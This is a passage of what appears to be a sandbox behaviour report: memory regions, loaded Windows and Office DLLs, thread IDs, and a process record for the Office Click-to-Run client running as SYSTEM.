entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3345 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3346 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3347 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 3348 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3349 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3350 start_va = 0x7fefae40000 end_va = 0x7fefae48fff entry_point = 0x7fefae40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 3351 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3352 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3353 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3354 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3355 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3356 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3357 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3358 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3359 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3360 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3361 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3362 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3363 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3364 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3365 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3366 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3367 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3368 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3369 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3370 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3371 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3372 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3373 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3374 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3375 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3376 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3402 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 3403 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 3404 start_va = 0x1460000 end_va = 0x14dffff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 3405 start_va = 0x23a0000 end_va = 0x249ffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 3406 start_va = 0x27c0000 end_va = 0x28bffff entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 3407 start_va = 0x28c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 3408 start_va = 0x7fef3280000 end_va = 0x7fef3298fff entry_point = 0x7fef3280000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 3409 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3410 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3411 start_va = 0x7fefadd0000 end_va = 0x7fefaddafff entry_point = 0x7fefadd0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 3412 start_va = 0x7fefade0000 end_va = 0x7fefadf4fff entry_point = 0x7fefade0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 3413 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3414 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3415 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3416 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3417 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3418 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3419 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3420 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3421 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3422 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Thread: id = 187 os_tid = 0x80c Thread: id = 197 os_tid = 0x9ec Thread: id = 199 os_tid = 0x6a4 Thread: id = 252 os_tid = 0xb80 Thread: id = 253 os_tid = 0xb74 Thread: id = 255 os_tid = 0xb64 Thread: id = 257 os_tid = 0x7ac Thread: id = 259 os_tid = 0xbc4 Thread: id = 266 os_tid = 0x6cc Thread: id = 267 os_tid = 0x508 Thread: id = 268 os_tid = 0xbe0 Thread: id = 272 os_tid = 0x440 Thread: id = 274 os_tid = 0x784 Thread: id = 279 os_tid = 0x310 Thread: id = 285 os_tid = 0x9a8 Thread: id = 286 os_tid = 0x998 Process: id = "17" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x132b7000" os_pid = "0x81c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x794" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2d7" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2636 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2637 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2638 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2639 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2640 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2641 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2642 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2643 start_va = 0x13f8d0000 end_va = 0x140912fff entry_point = 0x13f8d0000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 2644 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2645 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2646 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2647 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2809 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2810 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2811 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2815 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2816 start_va = 0x290000 end_va = 0x2f6fff entry_point = 0x290000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2817 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2818 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2819 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2820 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2821 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2822 start_va = 0x7fee2620000 end_va = 0x7fee2670fff entry_point = 0x7fee2620000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 2823 start_va = 0x7fef2df0000 end_va = 0x7fef2e0dfff entry_point = 0x7fef2df0000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 2824 start_va = 0x7fef2e10000 end_va = 0x7fef2e36fff entry_point = 0x7fef2e10000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2825 start_va = 0x7fef79c0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79c0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 2826 start_va = 0x7fef7fa0000 end_va = 0x7fef801bfff entry_point = 0x7fef7fa0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2827 start_va = 0x7fef8320000 end_va = 0x7fef8395fff entry_point = 0x7fef8320000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 2828 start_va = 0x7fef83e0000 end_va = 0x7fef83e2fff entry_point = 0x7fef83e0000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2829 start_va = 0x7fef83f0000 end_va = 0x7fef83f2fff entry_point = 0x7fef83f0000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2830 start_va = 0x7fef8400000 end_va = 0x7fef8402fff entry_point = 0x7fef8400000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2831 start_va = 0x7fef8410000 end_va = 0x7fef8412fff entry_point = 0x7fef8410000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2832 start_va = 0x7fef8420000 end_va = 0x7fef8424fff entry_point = 0x7fef8420000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2833 start_va = 0x7fef8430000 end_va = 0x7fef8434fff entry_point = 0x7fef8430000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2834 start_va = 0x7fef8440000 end_va = 0x7fef8442fff entry_point = 0x7fef8440000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2835 start_va = 0x7fef8450000 end_va = 0x7fef84ecfff entry_point = 0x7fef8450000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 2836 start_va = 0x7fef84f0000 end_va = 0x7fef84f3fff entry_point = 0x7fef84f0000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2837 start_va = 0x7fef8500000 end_va = 0x7fef8503fff entry_point = 0x7fef8500000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2838 start_va = 0x7fef8510000 end_va = 0x7fef8512fff entry_point = 0x7fef8510000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2839 start_va = 0x7fef8520000 end_va = 0x7fef8523fff entry_point = 0x7fef8520000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2840 start_va = 0x7fef8530000 end_va = 0x7fef8532fff entry_point = 0x7fef8530000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2841 start_va = 0x7fef8540000 end_va = 0x7fef8542fff entry_point = 0x7fef8540000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2842 start_va = 0x7fef8550000 end_va = 0x7fef8552fff entry_point = 0x7fef8550000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2843 start_va = 0x7fef8560000 end_va = 0x7fef8562fff entry_point = 0x7fef8560000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2844 start_va = 0x7fef8570000 end_va = 0x7fef8572fff entry_point = 0x7fef8570000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2845 start_va = 0x7fef8580000 end_va = 0x7fef8582fff entry_point = 0x7fef8580000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2846 start_va = 0x7fef8590000 end_va = 0x7fef8681fff entry_point = 0x7fef8590000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 2847 start_va = 0x7fef8690000 end_va = 0x7fef8693fff entry_point = 0x7fef8690000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2848 start_va = 0x7fef86a0000 end_va = 0x7fef86b6fff entry_point = 0x7fef86a0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 2849 start_va = 0x7fef86c0000 end_va = 0x7fef86dafff entry_point = 0x7fef86c0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2850 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2851 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2852 start_va = 0x7fefbc30000 end_va = 0x7fefbe44fff entry_point = 0x7fefbc30000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 2853 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2854 start_va = 0x7fefd680000 end_va = 0x7fefd6b9fff entry_point = 0x7fefd680000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: 